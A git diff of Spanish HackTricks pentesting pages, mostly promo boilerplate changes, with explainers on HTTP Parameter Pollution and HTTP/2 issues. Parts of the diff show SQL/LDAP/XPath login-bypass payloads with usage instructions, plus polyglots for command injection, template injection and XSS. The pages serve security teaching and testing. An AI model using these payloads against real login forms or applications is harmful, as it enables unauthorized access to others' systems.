La amenaza actualmente está limitada debido a la rareza del enrutamiento de primera solicitud y la complejidad de HTTP/2. Sin embargo, los cambios propuestos en HTTP/3, que relajan el requisito de coincidencia de direcciones IP, podrían ampliar la superficie de ataque, haciendo que los servidores con un certificado comodín sean más vulnerables sin necesidad de un ataque MITM.
Las mejores prácticas incluyen evitar el enrutamiento de la primera solicitud en proxies inversos y ser cautelosos con los certificados TLS comodín, especialmente con la llegada de HTTP/3. Las pruebas regulares y la conciencia de estas vulnerabilidades complejas e interconectadas son cruciales para mantener la seguridad web.
Las mejores prácticas incluyen evitar el enrutamiento de primera solicitud en proxies inversos y tener precaución con los certificados TLS comodín, especialmente con la llegada de HTTP/3. Las pruebas regulares y la conciencia de estas vulnerabilidades complejas e interconectadas son cruciales para mantener la seguridad web.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,33 @@
# Request Smuggling en Downgrades de HTTP/2
# Request Smuggling in HTTP/2 Downgrades
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
**Consulta la publicación [https://portswigger.net/research/http-2-downgrades](https://portswigger.net/research/http-2-downgrades)**
**Revisa la publicación [https://portswigger.net/research/http-2-downgrades](https://portswigger.net/research/http-2-downgrades)**
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,29 +1,31 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
**Revisa la publicación: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Esta lista contiene **payloads para evadir el inicio de sesión a través de XPath, LDAP e inyección SQL**(en ese orden).
Esta lista contiene **payloads para eludir el inicio de sesión a través de XPath, LDAP y SQL injection** (en ese orden).
La forma de usar esta lista es colocar las **primeras 200 líneas como nombre de usuario y contraseña**. Luego, coloca la lista completa primero en el nombre de usuario y luego en los campos de contraseña mientras colocas alguna contraseña (como _Pass1234._) o algún nombre de usuario conocido (como _admin_).
La forma de usar esta lista es poner las **primeras 200 líneas como el nombre de usuario y la contraseña.** Luego, coloca la lista completa en el nombre de usuario primero y luego en las entradas de contraseña mientras pones alguna contraseña (como _Pass1234._) o algún nombre de usuario conocido (como _admin_).
```
admin
password
@ -822,16 +823,17 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
%8C%A8%27)||1-- 2
%bf')||1-- 2
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Contaminación de Parámetros
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -21,7 +22,7 @@ Otras formas de apoyar a HackTricks:
# Visión General de la Contaminación de Parámetros HTTP (HPP)
La Contaminación de Parámetros HTTP (HPP) es una técnica donde los atacantes manipulan los parámetros HTTP para cambiar el comportamiento de una aplicación web de maneras no deseadas. Esta manipulación se realiza añadiendo, modificando o duplicando los parámetros HTTP. El efecto de estas manipulaciones no es directamente visible para el usuario, pero puede alterar significativamente la funcionalidad de la aplicación en el lado del servidor, con impactos observables en el lado del cliente.
La Contaminación de Parámetros HTTP (HPP) es una técnica donde los atacantes manipulan parámetros HTTP para cambiar el comportamiento de una aplicación web de maneras no intencionadas. Esta manipulación se realiza añadiendo, modificando o duplicando parámetros HTTP. El efecto de estas manipulaciones no es directamente visible para el usuario, pero puede alterar significativamente la funcionalidad de la aplicación en el lado del servidor, con impactos observables en el lado del cliente.
## Ejemplo de Contaminación de Parámetros HTTP (HPP)
@ -33,38 +34,38 @@ Al insertar un parámetro `from` adicional:
- **URL Manipulada:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
La transacción puede ser incorrectamente cargada a `accountC` en lugar de `accountA`, mostrando el potencial de HPP para manipular transacciones u otras funcionalidades como restablecimientos de contraseña, configuraciones de 2FA o solicitudes de clave API.
La transacción puede ser incorrectamente cargada a `accountC` en lugar de `accountA`, mostrando el potencial de HPP para manipular transacciones u otras funcionalidades como restablecimientos de contraseña, configuraciones de 2FA o solicitudes de claves API.
### **Análisis de Parámetros Específicos de Tecnología**
### **Análisis de Parámetros Específico de Tecnología**
- La forma en que se analizan y priorizan los parámetros depende de la tecnología web subyacente, lo que afecta cómo se puede explotar HPP.
- La forma en que se analizan y priorizan los parámetros depende de la tecnología web subyacente, afectando cómo se puede explotar HPP.
- Herramientas como [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) ayudan a identificar estas tecnologías y sus comportamientos de análisis.
## Explotación de PHP y HPP
## Explotación de HPP en PHP
**Caso de Manipulación de OTP:**
- **Contexto:** Se explotó un mecanismo de inicio de sesión que requería un One-Time Password (OTP).
- **Contexto:** Se explotó un mecanismo de inicio de sesión que requería una Contraseña de Un Solo Uso (OTP).
- **Método:** Al interceptar la solicitud de OTP utilizando herramientas como Burp Suite, los atacantes duplicaron el parámetro `email` en la solicitud HTTP.
- **Resultado:** El OTP, destinado al correo electrónico inicial, en su lugar se envió a la segunda dirección de correo electrónico especificada en la solicitud manipulada. Esta falla permitió el acceso no autorizado al eludir la medida de seguridad prevista.
- **Resultado:** El OTP, destinado al correo electrónico inicial, fue enviado en su lugar a la segunda dirección de correo electrónico especificada en la solicitud manipulada. Este fallo permitió el acceso no autorizado al eludir la medida de seguridad prevista.
Este escenario destaca una supervisión crítica en el backend de la aplicación, que procesó el primer parámetro `email` para la generación de OTP pero utilizó el último para la entrega.
Este escenario destaca una falla crítica en el backend de la aplicación, que procesó el primer parámetro `email` para la generación de OTP, pero utilizó el último para la entrega.
**Caso de Manipulación de Clave API:**
- **Escenario:** Una aplicación permite a los usuarios actualizar su clave API a través de una página de configuración de perfil.
- **Vector de Ataque:** Un atacante descubre que al agregar un parámetro `api_key` adicional a la solicitud POST, puede manipular el resultado de la función de actualización de la clave API.
- **Técnica:** Utilizando una herramienta como Burp Suite, el atacante crea una solicitud que incluye dos parámetros `api_key`: uno legítimo y otro malicioso. El servidor, procesando solo la última ocurrencia, actualiza la clave API al valor proporcionado por el atacante.
- **Resultado:** El atacante obtiene control sobre la funcionalidad de la API de la víctima, potencialmente accediendo o modificando datos privados de manera no autorizada.
- **Vector de Ataque:** Un atacante descubre que al añadir un parámetro `api_key` adicional a la solicitud POST, puede manipular el resultado de la función de actualización de la clave API.
- **Técnica:** Utilizando una herramienta como Burp Suite, el atacante elabora una solicitud que incluye dos parámetros `api_key`: uno legítimo y uno malicioso. El servidor, procesando solo la última ocurrencia, actualiza la clave API al valor proporcionado por el atacante.
- **Resultado:** El atacante obtiene control sobre la funcionalidad API de la víctima, potencialmente accediendo o modificando datos privados sin autorización.
Este ejemplo subraya aún más la necesidad de un manejo seguro de parámetros, especialmente en funciones tan críticas como la gestión de claves API.
Este ejemplo subraya aún más la necesidad de un manejo seguro de parámetros, especialmente en características tan críticas como la gestión de claves API.
## Análisis de Parámetros: Flask vs. PHP
La forma en que las tecnologías web manejan los parámetros HTTP duplicados varía, afectando su susceptibilidad a los ataques de HPP:
La forma en que las tecnologías web manejan parámetros HTTP duplicados varía, afectando su susceptibilidad a ataques HPP:
- **Flask:** Adopta el valor del primer parámetro encontrado, como `a=1` en una cadena de consulta `a=1&a=2`, priorizando la instancia inicial sobre duplicados posteriores.
- **PHP (en el Servidor HTTP Apache):** Contrariamente, prioriza el valor del último parámetro, optando por `a=2` en el ejemplo dado. Este comportamiento puede facilitar inadvertidamente las explotaciones de HPP al honrar el parámetro manipulado del atacante sobre el original.
- **Flask:** Adopta el primer valor de parámetro encontrado, como `a=1` en una cadena de consulta `a=1&a=2`, priorizando la instancia inicial sobre duplicados posteriores.
- **PHP (en Apache HTTP Server):** Por el contrario, prioriza el último valor de parámetro, optando por `a=2` en el ejemplo dado. Este comportamiento puede facilitar inadvertidamente los exploits de HPP al honrar el parámetro manipulado por el atacante sobre el original.
## Referencias
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
@ -75,16 +76,17 @@ La forma en que las tecnologías web manejan los parámetros HTTP duplicados var
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# Técnicas de Reflexión - Hoja de Trucos de PoCs y Políglotas
# Técnicas de Reflejo - PoCs y CheatSheet de Polygloths
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
El objetivo de estos PoCs y Políglotas es dar al probador un **resumen rápido** de las vulnerabilidades que puede explotar si su **entrada se refleja de alguna manera en la respuesta**.
El objetivo de estas PoCs y Polygloths es dar al tester un **resumen** rápido de las vulnerabilidades que puede explotar si su **entrada se refleja de alguna manera en la respuesta**.
{% hint style="warning" %}
Esta **hoja de trucos no propone una lista exhaustiva de pruebas para cada vulnerabilidad**, solo algunas básicas. Si buscas pruebas más exhaustivas, accede a cada vulnerabilidad propuesta.
Esta **cheat sheet no propone una lista completa de pruebas para cada vulnerabilidad**, solo algunas básicas. Si buscas pruebas más completas, accede a cada vulnerabilidad propuesta.
{% endhint %}
{% hint style="danger" %}
No encontrarás inyecciones dependientes del tipo de contenido como XXE, ya que generalmente las probarás tú mismo si encuentras una solicitud que envíe datos xml. Tampoco encontrarás inyecciones de base de datos aquí, ya que incluso si algún contenido se refleja, depende en gran medida de la tecnología y estructura de la base de datos backend.
No **encontrarás inyecciones dependientes del Content-Type como XXE**, ya que normalmente intentarás esas tú mismo si encuentras una solicitud que envía datos xml. Tampoco **encontrarás inyecciones de base de datos** aquí, ya que aunque algún contenido podría ser reflejado, depende en gran medida de la tecnología y estructura de la base de datos del backend.
{% endhint %}
## Lista de Políglotas
## Lista de Polygloths
```python
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
@ -64,7 +65,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
